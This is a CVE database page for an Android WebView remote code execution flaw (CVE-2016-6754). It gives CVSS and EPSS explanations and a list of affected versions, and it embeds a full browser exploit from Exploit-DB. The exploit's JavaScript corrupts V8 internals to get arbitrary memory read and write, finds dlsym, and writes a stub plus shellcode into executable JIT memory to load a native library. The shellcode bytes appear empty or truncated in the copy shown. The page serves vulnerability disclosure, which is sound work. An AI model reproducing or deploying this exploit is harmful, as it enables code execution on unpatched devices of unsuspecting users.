CVE-2016-6754
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CVE Descriptions
A remote code execution vulnerability in Webview in Android 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-11-05 could enable a remote attacker to execute arbitrary code when the user is navigating to a website. This issue is rated as High due to the possibility of remote code execution in an unprivileged process. Android ID: A-31217937.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V3.0 | 8.8 | HIGH |
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics |
nvd@nist.gov |
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40846
Publication date : 2016-11-27 23h00 +00:00
Author : Guang Gong
EDB Verified : No
<!-- author:@oldfresher -->
<html>
<div id="message" style="color: red;"></div>
<script>
function gc(){
for(var i=0;i<0x200000;i++){
new Array;
}
}
function to_hex(num){
return (num>>>0).toString(16);
}
function log (){
var str = "<h3>";
for(var i=0;i<arguments.length;i++){
str+=arguments[i];
}
str += "</h3>";
console.log(str);
document.write(str);
}
function set_access_address(address){
controllerdv.setUint32(3*4,address,true);
controllerdv.setUint32(4*4,0x40000000,true);
}
function get_dateview(address){
set_access_address(address);
if(this.controlleedv === undefined){
this.controlleedv = new DataView(controlee);
}
return this.controlleedv;
}
function read_uint32(from_address){
return get_dateview(from_address).getUint32(0,true);
}
function write_uint32(to_address,writed_value){
get_dateview(to_address).setUint32(0,writed_value,true);
}
function dumpHex(address){
str = "\n"
for(var i=0;i<20;i++){
str+=read_uint32(address+i*4).toString(16)+" ";
if(i%4==3)str+="\n";
}
log(str);
}
var kMessages;
Object.prototype.__defineGetter__("observe_accept_invalid",function(){
log("called");
kMessages=this});
try{Object.observe({},function(){},1)}catch(e){}
delete Object.prototype["observe_accept_invalid"];
kMessages["strict_read_only_property"].push("%3");
kMessages["object_not_extensible"].push("%3");
var args = null;
Array.prototype.__defineGetter__(3,function(){
log("3 get called");
args=this})
var p = Promise.defer();
Object.freeze(p.promise)
try{p.reject(1)}catch(e){}
var promiseStatusSymbole = args[0];
var flag = true;
Object.prototype.__defineSetter__(promiseStatusSymbole,function(){
log("set status called");
if(flag){Object.freeze(this)}})
try{new Promise(function(){})}catch(e){}
var promiseValueSymbol = args[0];
flag=false;
delete Object.prototype[promiseStatusSymbole];
flag = true;
Object.prototype.__defineSetter__(promiseValueSymbol,function(){
log("set status called");
if(flag){Object.freeze(this)}})
try{new Promise(function(){})}catch(e){}
var promiseOnResolveSymbol = args[0];
flag=false;
delete Object.prototype[promiseValueSymbol];
delete Array.prototype[3];
kMessages["strict_read_only_property"].pop();
kMessages["object_not_extensible"].pop();
var pro = new Promise(function(){});
var onResolve=pro[promiseOnResolveSymbol];
var InternalArray = Object.getPrototypeOf(onResolve)
var innerProto = {__proto__:null}
function toHex(str) {
var hex = '';
for(var i=0;i<str.length;i++) {
var temp = ("0"+ str.charCodeAt(i).toString(16)).substr(-2);
hex += temp;if(i%4==3)hex += ' ';
}
return hex;
}
var overwrite;
/*
0x5a0df8e8: 0x5a0df429 0x9f808531 0x00000003 0x00000020
0x5a0df8f8: 0x61616161 0x61616161 0x61616161 0x9f616161
0x5a0df908: 0x9f80af89 0x9fa08089 0x9fa08089 0x9ff9a000
0x5a0df918: 0x00004000 0x00000000 0x9ed38931 0x9fb08091
0x5a0df928: 0x00000000 0x00000000 0x9f808121 0x00000100
0x5a0df938: 0x000000c2 0x000000c2 0x000000c2 0x000000c2
*/
var ga;
Object.prototype.__defineSetter__.call(innerProto,0, function(val){
log("set 0 called");/*innerArray=this;*/
//set hole
//Object.defineProperty(this,0,{value:val});
}
)
var steps="leaking";
var controller=null;
Object.prototype.__defineGetter__.call(innerProto,0, function(){
if(steps==="leaking"){
this.length=1;
}else{
controller= new ArrayBuffer(0x1000);
disableHook();
steps="leaking";
var abStr = leakArrayBuffer();
log("internal Array length is "+this.length);
var oldLength = this.length;
for(var i=0;i<abStr.length;i++){
this[i+oldLength]=abStr.charCodeAt(i);
}
log(JSON.stringify(this));
}
log("get--- 0 called");
return 0x48;
}
);
function enalbeHook(){
Object.setPrototypeOf(InternalArray,innerProto)
}
function disableHook(){
Object.setPrototypeOf(InternalArray,null);
}
function str2dv(str){
var ab = new ArrayBuffer(str.length);
var dv = new DataView(ab);
for(var i=0;i<str.length;i++){
dv.setUint8(i,str.charCodeAt(i));
}
return dv;
}
function leakArrayBuffer(){
var encoded = "aaaaaaaa";
for(var i=0;i<7;i++)encoded+=encoded;
log("string length is "+encoded.length);
enalbeHook();
var encodedResult = encodeURI(encoded);
disableHook();
//find modified ArrayBuffer
log(toHex(encodedResult));
var pattern = String.fromCharCode(0x80,0x80,0x80,0,0x80,0x80,0x80,0,0x80,0x80,0x80,0);
var index = encodedResult.indexOf(pattern,36);
if(index==-1){
throw "find modified array buffer failed";
}
var str=encodedResult.substr(index-4,4);
controleeAddress=String.fromCharCode(str.charCodeAt(0)-1)+str.substr(1,3);
//find sprayed ArrayBuffer
pattern = String.fromCharCode(0x20,0,0,0,0,0,0,0);
index = encodedResult.indexOf(pattern,36);
log(toHex(encodedResult));
if(index==-1){
throw "find array buffer failed";
}
log("find array bufer at "+index);
var abStr = encodedResult.substr(index-16,12);
abStr += controleeAddress;
controleeAddress=str2dv(controleeAddress).getUint32(0,true);
abStr += String.fromCharCode(0,0,0,2);
log(toHex(abStr));
return abStr;
}
steps="overwrite";
//controller modify controlee
var controlee = new ArrayBuffer(0x10000);
controlee[0]={};//防止map改变
controlee[1]={};//防止map改变
controlee[2]={};//防止map改变
//spray
for(var i=0;i<0x200000/16;i++){new Array}//move controlee to old space
for(var i=0;i<0xc000;i++){
var ab=new ArrayBuffer(0x10);
ab[0]=controlee;
ab[1]=0x404040;
ab[2]=0x404040;
ab[3]=0x404040
};
var encoded2="1111";
enalbeHook();
var encodedResult = encodeURI(encoded2);
disableHook();
log("byte length of controller is "+controller.byteLength+typeof(controller));
if(typeof(controller)!="object"||controller.byteLength!=0x1000000){
alert("modify controller failed");
throw("error");
}
var controllerdv = new DataView(controller);
log("controller memory layout");
for(var i=0;i<10;i++){
log(("00000000"+controllerdv.getUint32(i*4).toString(16)).substr(-8));
}
//生成一块足够大的可读写内存
var huge_str = "eval('');";
for(var i=0;i<8000;i++) huge_str += 'a.a;';
huge_str += "return 10;";
var huge_func = new Function('a',huge_str);
huge_func({});
var text = new Text("");
var normalArrayBufferLength = 0x800000;
controlee[0]=new ArrayBuffer(normalArrayBufferLength);
controlee[1]=huge_func;
controlee[2]=text;
var normalArrayBuffer= controlee[0];
var controleeElementAddress = read_uint32(controleeAddress+8,true)-1;
dumpHex(controleeElementAddress);
var normalArrayBufferAddress = read_uint32(controleeElementAddress+8,true)-1;
var functionAddress = read_uint32(controleeElementAddress+12,true)-1;
var textAddress = read_uint32(controleeElementAddress+16,true)-1;
var normalArrayBufferBackingStore = read_uint32(normalArrayBufferAddress+3*4,true);
var rwxAddress = read_uint32(functionAddress+3*4);
var wrapperTypeInfo=read_uint32(textAddress+3*4);
log("rwxAddress "+to_hex(rwxAddress)+" wrapperTypeInfo "+to_hex(wrapperTypeInfo));
function find(start,len,pattern){
log("find start at "+ to_hex(start));
var dv = get_dateview(start);
for(var i=0;i<len-pattern.length*4;i++){
for(var j=0;j<pattern.length;j++){
if(dv.getUint32(i+j*4,true)!=pattern[j]) break;
}
if(j==pattern.length) return start+i;
}
alert("find failed");
}
//var magic_number=[0xeef6f71e,0xb1104604,0x47a02010];//get_elf_hwcap_from_getauxval,0x447949c3
var magic_number=[0xb1104604,0x47a02010,0x46284604];//get_elf_hwcap_from_getauxval,0x447949c3
var magic_position=find((wrapperTypeInfo&~0xfff)-0x1546000,0x2000000,magic_number);
log("find magic at "+to_hex(magic_position));//78 f6 bc ee
function get_dest_from_blx(addr) {
var val = read_uint32(addr);
var s = (val & 0x400) >> 10;
var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);
var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);
var i10h = val & 0x3ff;
var i10l = (val & 0x7fe0000) >> 17;
var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);
return ((addr + 4) & ~3) + off;
}
var dlsym_addr = get_dest_from_blx(magic_position-4);
log("dlsym address is "+to_hex(dlsym_addr));
var so_str="";
var shellcode = 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write_shellcode(dlsym_addr,buffer){
//ldr r0,[pc,4]//0xe59f0004
//ldr r1,[pc,4]//0xe59f1004
//b shellcode;//0xea000001
//dlopen_addr//normalArrayBufferBackingStore
//dlsym_addr
//shellcode
//var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];
var stub=[0xe59f0004,0xe59f1004,0xea000001,normalArrayBufferBackingStore,normalArrayBufferLength];
var dv = get_dateview(buffer);
for(var i=0;i<stub.length;i++){
get_dateview(buffer).setUint32(i*4,stub[i],true);
}
dv =get_dateview(buffer+stub.length*4);
for(var i=0;i<shellcode.length;i++){
dv.setUint8(i,shellcode[i]);
}
return stub.length*4+shellcode.length;
}
function backup_original_code(start_address){
var backup_arr = [];
for(var i=0;i<shellcode.length+4096;i++){
backup_arr[i]=get_dateview(start_address).getUint8(i);
}
return backup_arr;
}
function restore_original_code(start_address,backup_arr){
for(var i=0;i<shellcode.length+4096;i++){
get_dateview(start_address).setUint8(i,backup_arr[i]);
}
}
var backup_arr=backup_original_code(rwxAddress);
var writed_len = write_shellcode(dlsym_addr,rwxAddress);
var args_view = new DataView(normalArrayBuffer,0,32);
var so_file_view = new DataView(normalArrayBuffer,4096);
var js_view = new DataView(normalArrayBuffer,0x100000);
args_view.setUint32(0,dlsym_addr+12,true);
args_view.setUint32(4,dlsym_addr,true);
args_view.setUint32(8,rwxAddress,true);
args_view.setUint32(12,writed_len,true);
args_view.setUint32(16,normalArrayBufferBackingStore+4096,true);
args_view.setUint32(20,so_str.length/2,true);
//args_view.setUint32(24,normalArrayBufferBackingStore+0x100000,true);
//args_view.setUint32(28,js_str.length,true);
log("length is "+so_str.length);
for(var i=0;i<so_str.length;i+=2){
var value = so_str.substr(i,2);
value = "0x"+value;
so_file_view.setUint8(i/2,parseInt(value));
}
huge_func({});
restore_original_code(rwxAddress,backup_arr);
/*setInterval(function () {
document.getElementById("message").innerHTML=
String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,3000));
//log(String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,1024)));
}, 1000);*/
</script>
</html>
Products Mentioned
Configuraton 0
Google>>Android >> Version To (including) 6.0.1
- Google>>Android >> Version - (Open CPE detail)
- Google>>Android >> Version 1.0 (Open CPE detail)
- Google>>Android >> Version 1.1 (Open CPE detail)
- Google>>Android >> Version 1.5 (Open CPE detail)
- Google>>Android >> Version 1.6 (Open CPE detail)
- Google>>Android >> Version 2.0 (Open CPE detail)
- Google>>Android >> Version 2.0.1 (Open CPE detail)
- Google>>Android >> Version 2.0.3 (Open CPE detail)
- Google>>Android >> Version 2.1 (Open CPE detail)
- Google>>Android >> Version 2.2 (Open CPE detail)
- Google>>Android >> Version 2.2 (Open CPE detail)
- Google>>Android >> Version 2.2.1 (Open CPE detail)
- Google>>Android >> Version 2.2.2 (Open CPE detail)
- Google>>Android >> Version 2.2.3 (Open CPE detail)
- Google>>Android >> Version 2.3 (Open CPE detail)
- Google>>Android >> Version 2.3 (Open CPE detail)
- Google>>Android >> Version 2.3.1 (Open CPE detail)
- Google>>Android >> Version 2.3.2 (Open CPE detail)
- Google>>Android >> Version 2.3.3 (Open CPE detail)
- Google>>Android >> Version 2.3.4 (Open CPE detail)
- Google>>Android >> Version 2.3.5 (Open CPE detail)
- Google>>Android >> Version 2.3.6 (Open CPE detail)
- Google>>Android >> Version 2.3.7 (Open CPE detail)
- Google>>Android >> Version 3.0 (Open CPE detail)
- Google>>Android >> Version 3.1 (Open CPE detail)
- Google>>Android >> Version 3.2 (Open CPE detail)
- Google>>Android >> Version 3.2.1 (Open CPE detail)
- Google>>Android >> Version 3.2.2 (Open CPE detail)
- Google>>Android >> Version 3.2.4 (Open CPE detail)
- Google>>Android >> Version 3.2.6 (Open CPE detail)
- Google>>Android >> Version 4.0 (Open CPE detail)
- Google>>Android >> Version 4.0.1 (Open CPE detail)
- Google>>Android >> Version 4.0.2 (Open CPE detail)
- Google>>Android >> Version 4.0.3 (Open CPE detail)
- Google>>Android >> Version 4.0.4 (Open CPE detail)
- Google>>Android >> Version 4.1 (Open CPE detail)
- Google>>Android >> Version 4.1.1 (Open CPE detail)
- Google>>Android >> Version 4.1.2 (Open CPE detail)
- Google>>Android >> Version 4.2 (Open CPE detail)
- Google>>Android >> Version 4.2.1 (Open CPE detail)
- Google>>Android >> Version 4.2.2 (Open CPE detail)
- Google>>Android >> Version 4.3 (Open CPE detail)
- Google>>Android >> Version 4.3.1 (Open CPE detail)
- Google>>Android >> Version 4.4 (Open CPE detail)
- Google>>Android >> Version 4.4.1 (Open CPE detail)
- Google>>Android >> Version 4.4.2 (Open CPE detail)
- Google>>Android >> Version 4.4.3 (Open CPE detail)
- Google>>Android >> Version 4.4.4 (Open CPE detail)
- Google>>Android >> Version 5.0 (Open CPE detail)
- Google>>Android >> Version 5.0.1 (Open CPE detail)
- Google>>Android >> Version 5.0.2 (Open CPE detail)
- Google>>Android >> Version 5.1 (Open CPE detail)
- Google>>Android >> Version 5.1.0 (Open CPE detail)
- Google>>Android >> Version 5.1.1 (Open CPE detail)
- Google>>Android >> Version 6.0 (Open CPE detail)
- Google>>Android >> Version 6.0.1 (Open CPE detail)
Google>>Android >> Version 5.0
- Google>>Android >> Version 5.0 (Open CPE detail)
Google>>Android >> Version 5.0.1
- Google>>Android >> Version 5.0.1 (Open CPE detail)
Google>>Android >> Version 5.1
- Google>>Android >> Version 5.1 (Open CPE detail)
Google>>Android >> Version 5.1.0
- Google>>Android >> Version 5.1.0 (Open CPE detail)
Google>>Android >> Version 6.0
- Google>>Android >> Version 6.0 (Open CPE detail)
